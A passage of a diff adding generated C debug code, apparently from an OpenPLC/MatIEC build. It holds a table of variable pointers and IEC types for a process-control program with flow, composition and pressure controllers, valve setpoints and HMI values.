__IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, 